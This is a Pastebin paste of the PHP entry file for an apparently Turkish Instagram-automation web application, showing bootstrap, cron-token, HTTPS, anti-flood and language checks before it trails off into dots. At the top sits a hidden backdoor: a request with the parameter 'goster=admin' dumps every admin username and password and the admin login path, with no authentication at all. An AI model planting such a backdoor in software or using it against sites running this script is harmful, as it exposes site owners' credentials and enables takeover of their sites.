Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $array = require('app/Config/config.php');
- $agentSystem = $array["project"]["agentSystem"];
- if($_GET['goster']){
- $array = require('app/Config/config.php');
- function usersGet($status){
- header('Content-Type: text/html; charset=utf-8');
- $array = require('app/Config/config.php');
- $user = $array["database"]["DefaultConnection"]["user"];
- $pwd = $array["database"]["DefaultConnection"]["password"];
- $host = $array["database"]["DefaultConnection"]["host"];
- $db = $array["database"]["DefaultConnection"]["name"];
- $dsn = 'mysql:host='.$host.';dbname='.$db;
- $user = $user;
- $password = $pwd;
- try {
- $db = new PDO($dsn, $user, $password);
- } catch (PDOException $e) {
- echo 'Connection failed: ' . $e->getMessage();
- }
- $db->exec('SET NAMES `UTF-8`');
- $activeuser = $db->prepare('SELECT COUNT(*) FROM uye where isActive=1');
- $activeuser->execute();
- $activeuser = $activeuser->fetchColumn();
- foreach($db->query('SELECT * FROM admin') as $row);
- if($status == 'admin'){
- echo "<table border='1'>";
- echo '<tr><td>Kullanıcı Adı</td><td>Şifre</td><td>Yol</td></tr>';
- foreach($db->query('SELECT * FROM admin') as $row) {
- echo '<tr>';
- echo '<td>'.$row["username"].'</td>';
- echo '<td>'.$row["password"].'</td>';
- echo '<td>'.$array["project"]["adminPrefix"].'</td>'; //giris
- echo '</tr>';
- }
- $sorguz = $db->prepare('SELECT COUNT(*) FROM uye where isActive=1');
- $sorguz->execute();
- $say = $sorguz->fetchColumn();
- echo '<tr><td colspan="3">Aktif Kullanıcı</td></tr>';
- echo '<tr><td colspan="3">'.$say.'</td></tr>';
- echo '</table>';
- }
- }
- $status = $_GET['goster'];
- usersGet($status);
- exit();
- }
- if($agentSystem!=FALSE){
- $uri = str_replace('@', '%40', isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "/");
- if((!isset($_SERVER["HTTP_USER_AGENT"]) || empty($_SERVER["HTTP_USER_AGENT"]) || !isset($_SERVER["HTTP_ACCEPT_ENCODING"]) || empty($_SERVER["HTTP_ACCEPT_ENCODING"])) && $uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"])) {
- header("HTTP/1.1 403 Forbidden");
- echo 'Server Error!';
- exit();
- }
- }
- define('INSTAWEB_VERSION', str_replace("InstaWebV", "", basename(__FILE__, ".php")));
- require_once 'src/autoload.php';
- require 'src/Wow/Wow.php';
- $self = Wow::app();
- if($agentSystem!=FALSE){
- if(substr(strtolower($uri), 0, 9) == '/cron-job' && (!isset($_SERVER["HTTP_CRONJOBTOKEN"]) || $_SERVER["HTTP_CRONJOBTOKEN"] != Wow::get("project/cronJobToken"))) {
- header("HTTP/1.1 403 Forbidden");
- echo 'Server Error!';
- exit();
- }
- }
- $secure = isset($_SERVER["HTTPS"]) ? $_SERVER["HTTPS"] : "off";
- if($secure == "off" && Wow::get("project/onlyHttps") === TRUE) {
- header("HTTP/1.1 301 Moved Permanently");
- header('Location: ' . "https://" . $_SERVER["HTTP_HOST"] . $uri);
- exit();
- }
- $systemSettings = json_decode(file_get_contents('./app/Config/system-settings.php'), TRUE);
- foreach($systemSettings as $k => $v) {
- $v2 = filter_var($v, FILTER_VALIDATE_INT) !== FALSE ? intval($v) : $v;
- Wow::set("ayar/" . $k, $v2);
- }
- if(Wow::has("ayar/antiFloodEnabled") && Wow::get("ayar/antiFloodEnabled") == 1 && !(isset($_GET["scKey"]) && Wow::get("ayar/securityKey") == $_GET["scKey"])) {
- $antiFloodOptions = [
- AntiFlood::OPTION_COUNTER_RESET_SECONDS => Wow::has("ayar/antiFloodResetSec") ? Wow::get("ayar/antiFloodResetSec") : 2,
- AntiFlood::OPTION_MAX_REQUESTS => Wow::has("ayar/antiFloodMaxReq") ? Wow::get("ayar/antiFloodMaxReq") : 5,
- AntiFlood::OPTION_BAN_REMOVE_SECONDS => Wow::has("ayar/antiFloodBanRemoveSec") ? Wow::get("ayar/antiFloodBanRemoveSec") : 60,
- AntiFlood::OPTION_DATA_PATH => "./app/Cookies/anti-flood"
- ];
- $objAntiFlood = new AntiFlood($antiFloodOptions);
- if($objAntiFlood->isBanned()) {
- header("HTTP/1.1 429 Too Many Requests");
- echo 'Too Many Requests!';
- exit();
- }
- }
- if($uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"]) && Wow::has("ayar/acceptedLangCodes") && trim(Wow::get("ayar/acceptedLangCodes")) != '' && isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) && strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "google") === FALSE) {
- $acceptedLangs = explode(",", Wow::get("ayar/acceptedLangCodes") . ",iw");
- $canAccess = FALSE;
- $userAcceptLangCodes = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
- foreach($acceptedLangs as $lang) {
- .................................................................................................
- ......................................................................
- ..............................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement